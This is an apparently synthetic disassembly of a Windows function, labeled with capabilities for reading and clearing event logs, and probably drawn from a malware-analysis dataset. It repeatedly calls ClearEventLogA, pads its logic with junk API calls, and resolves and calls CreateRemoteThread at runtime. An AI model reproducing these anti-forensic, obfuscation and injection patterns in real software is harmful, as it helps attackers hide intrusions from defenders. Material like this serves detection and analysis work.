Function at 0x6bad5392
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
cmp dword [0x6bb7ad60], 0x3985
jne 0x6bad5bf7
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov dword [esp + 4], str.Unde_ratione_eaque_fuga_vitae_officiis_quo
mov dword [0x6bb7b07c], 0x607fb1c9
mov dword [esp], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push eax
push eax
mov dword [esp], str.ShanyAbernathy
call esi
push edx
mov edx, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [ebp - 0x38], edx
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
mov eax, dword [0x6bb7b06c]
mov dword [0x6bb7b078], 0xec52c6fd
push ecx
push ecx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 8], str.DamonLynchIII
mov dword [0x6bb7b074], eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x20], eax
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
sub esp, 0xc
mov dword [esp], 0
call ebx
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [ebp - 0x1c], eax
mov dword [esp], 0
call eax
mov dword [0x6bb7b068], 0x4a6df76b
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], str.DonBernierDDS
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
sub esp, 0xc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x2c], eax
call eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
sub esp, 0x14
mov dword [esp], str.Molestiae_qui_voluptatem_vel_cumque_laudantium
mov dword [ebp - 0x24], eax
call eax
push eax
mov eax, dword [0x6bb7b05c]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [0x6bb7b064], eax
mov eax, dword [0x6bb7b050]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [0x6bb7b058], eax
mov eax, dword [0x6bb7b044]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 0x10], 0
mov dword [0x6bb7b04c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 0x14
mov dword [ebp - 0x30], eax
mov dword [esp], 0
call eax
push eax
mov dword [esp], 0x526991d3
call fcn.6badcbb4
mov dword [esp + 4], str.Et_quis_fuga_molestiae
mov dword [0x6bb7b040], eax
mov eax, dword [0x6bb7b034]
mov dword [esp], str.MsMarjolaineKingDVM
mov dword [0x6bb7b038], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [ebp - 0x34], eax
call eax
push edx
push edx
mov dword [esp], 0x648631f0
call fcn.6badcbb4
mov dword [esp + 4], str.Nemo_quos_aperiam_eligendi_nisi_voluptas
mov dword [0x6bb7b030], eax
mov dword [esp], 0
call edi
mov eax, dword [0x6bb7b020]
push ecx
push ecx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], str.Est_itaque_quo_doloremque_perspiciatis_harum
mov dword [0x6bb7b028], eax
call esi
mov dword [0x6bb7b070], 0x670c6b8a
push eax
mov dword [0x6bb7b01c], 0xb50b0555
mov dword [esp], str.Enim_ex_sed_voluptatem_iusto_aspernatur_dolores_animi_impedit_numquam_est
call esi
mov dword [0x6bb7b038], 0xd60208f6
push eax
mov dword [0x6bb7b018], 0x9c527c76
mov dword [esp], 0xee891e85
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7b014], eax
call ebx
push eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov dword [0x6bb7b068], 0x791f7f63
push eax
push eax
mov eax, dword [ebp - 0x30]
mov dword [esp], 0
call eax
push eax
mov dword [esp], 0
call ebx
mov eax, dword [ebp - 0x2c]
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp], 0
call ebx
mov edx, dword [ebp - 0x38]
mov dword [0x6bb7b010], 0xca710481
push ecx
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
mov dword [0x6bb7b004], 0xeb013b03
push eax
push eax
mov eax, dword [0x6bb7b008]
mov dword [0x6bb7b00c], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov dword [0x6bb7b000], 0x10a71393
push eax
push eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [0x6bb7affc]
mov dword [0x6bb7b034], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], str.Cupiditate_quia_qui_non_fuga_iure_aut_beatae_voluptas
mov dword [esp], str.DelilahTurcotte
call eax
push eax
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], str.MrsBrianneMarksMD
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 0xc
mov dword [esp], 0
call eax
push eax
mov eax, dword [0x6bb7b004]
mov dword [0x6bb7aff8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], str.Ullam_explicabo_quis_dolore_neque_laborum_tempora_omnis
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [esp], 0x69bef7ba
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7aff4], eax
mov eax, dword [0x6bb7afe8]
mov dword [0x6bb7afec], eax
mov eax, dword [0x6bb7afe0]
mov dword [0x6bb7afe4], eax
call ebx
push edx
mov dword [esp], 0x160534ad
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7afdc], eax
mov eax, dword [ebp - 0x1c]
call eax
push ecx
mov dword [esp], 0xbe121c9d
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp + 8], str.HettieGaylordIII
mov dword [0x6bb7afd4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [esp + 4], str.NickolasFriesen
mov dword [esp], 0
call edi
push eax
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], 0
call eax
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], 0
call eax
push eax
mov eax, dword [ebp - 0x24]
mov dword [esp], str.JalonZulauf
call eax
mov dword [0x6bb7afd0], 0xbb79832a
push eax
mov eax, dword [0x6bb7afc8]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0x870618c0
mov dword [esp + 4], 0
mov dword [0x6bb7afec], eax
call fcn.6badcbb4
mov dword [esp], str.Nihil_sed_beatae_veritatis_veritatis_et_excepturi
mov dword [0x6bb7afc4], eax
call esi
push eax
mov dword [esp], str.MissElenoraHerzog
call esi
mov eax, dword [0x6bb7b064]
push edx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0x23a138f5
mov dword [0x6bb7b000], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7afc0], eax
mov eax, dword [ebp - 0x1c]
call eax
push ecx
mov dword [esp + 4], str.DawsonKassulkeJr
mov dword [esp], 0
call edi
push eax
push eax
mov eax, dword [ebp - 0x24]
mov dword [esp], str.Quam_omnis_architecto_est_molestias_occaecati_amet_cum
call eax
push eax
mov dword [esp], 0
call ebx
push eax
mov dword [esp], 0
call ebx
mov dword [0x6bb7afb8], 0x8b16ef97
push eax
mov dword [esp], 0x80d41280
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [0x6bb7b028], 0xd0fcd2fa
mov dword [0x6bb7afb4], eax
mov eax, dword [0x6bb7afa8]
mov dword [0x6bb7afac], eax
mov eax, dword [str.:y_2]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 4], str.AlannaDibbert
mov dword [0x6bb7afa4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], str.EulaZieme
call eax
mov dword [0x6bb7af90], 0xd7d10ba1
push eax
push eax
mov eax, dword [0x6bb7af94]
mov dword [0x6bb7af98], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], str.Aut_doloremque_qui_voluptatibus_dolor_totam_molestias_magnam
call eax
mov eax, dword [0x6bb7b038]
mov dword [0x6bb7afe0], 0xc90a2c03
push edx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], str.RogersBradtke
mov dword [0x6bb7af8c], eax
mov eax, dword [0x6bb7af80]
mov dword [0x6bb7af84], eax
mov eax, dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 0x20]
push ecx
mov dword [esp + 8], str.KasandraAbernathy
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov edx, dword [ebp - 0x38]
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
mov dword [0x6bb7af7c], 0x86c1585a
push eax
push eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], str.JulianSatterfieldDDS
mov dword [esp], str.Eaque_possimus_quo_placeat_dolores_nihil_cum_laudantium_placeat_assumenda
call eax
push eax
push eax
mov dword [esp], str.JosiahBlock
call esi
push eax
mov eax, dword [ebp - 0x24]
mov dword [esp], str.FlavioDickens
call eax
mov dword [0x6bb7af94], 0x6eee035c
push eax
mov eax, dword [0x6bb7af74]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0x36326462
mov dword [0x6bb7b070], eax
mov eax, dword [0x6bb7af6c]
mov dword [0x6bb7af70], eax
mov eax, dword [0x6bb7af90]
mov dword [0x6bb7af68], eax
call fcn.6badcbb4
mov dword [esp + 4], str.AylaLehnerPhD
mov dword [0x6bb7af64], eax
mov eax, dword [ebp - 0x34]
mov dword [0x6bb7b014], 0x9d6d2216
mov dword [esp], str.Necessitatibus_inventore_modi_praesentium_porro
call eax
push eax
push eax
mov dword [esp], 0xe2b3044d
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp], str.Neque_asperiores_vel_illo_quas_harum_perspiciatis_unde_nobis_reprehenderit_voluptas
mov dword [0x6bb7b038], eax
call esi
mov eax, dword [0x6bb7af54]
push edx
mov dword [0x6bb7af58], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7afe8]
push ecx
mov dword [0x6bb7af50], eax
mov dword [esp + 4], str.Aut_est_iusto_aut_iure
mov dword [esp], 0
call edi
mov eax, dword [ebp - 0x30]
push esi
push esi
mov dword [esp], 0
call eax
push eax
mov eax, dword [0x6bb7af4c]
mov dword [0x6bb7af90], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7b008]
mov dword [0x6bb7af48], 0x4f2e6136
sub esp, 0x14
mov dword [0x6bb7af44], eax
mov eax, dword [0x6bb7af54]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 0x10], 0
mov dword [0x6bb7af40], eax
mov eax, dword [0x6bb7af3c]
mov dword [esp + 0xc], 0
mov dword [0x6bb7af68], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp + 4], str.Vero_ipsa_provident_temporibus_in_ex_ea
mov dword [esp], 0
call edi
push eax
push eax
mov eax, dword [0x6bb7af38]
mov dword [0x6bb7afa4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], 0
call eax
push eax
mov eax, dword [0x6bb7af30]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7b034], eax
call ebx
mov dword [0x6bb7af2c], 0x5ed147b9
push eax
mov eax, dword [0x6bb7af28]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7b06c], eax
mov eax, dword [ebp - 0x1c]
call eax
push edx
mov dword [esp + 4], str.LaishaFarrellDDS
mov dword [esp], 0
call edi
push ecx
push ecx
mov dword [esp + 4], str.CreateRemoteThread
mov dword [esp], str.kernel32.dll
call fcn.6bad457f
mov edx, dword [ebp + 0x20]
mov dword [esp + 0x18], edx
mov edx, dword [ebp + 0x1c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call eax
sub esp, 0x1c
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret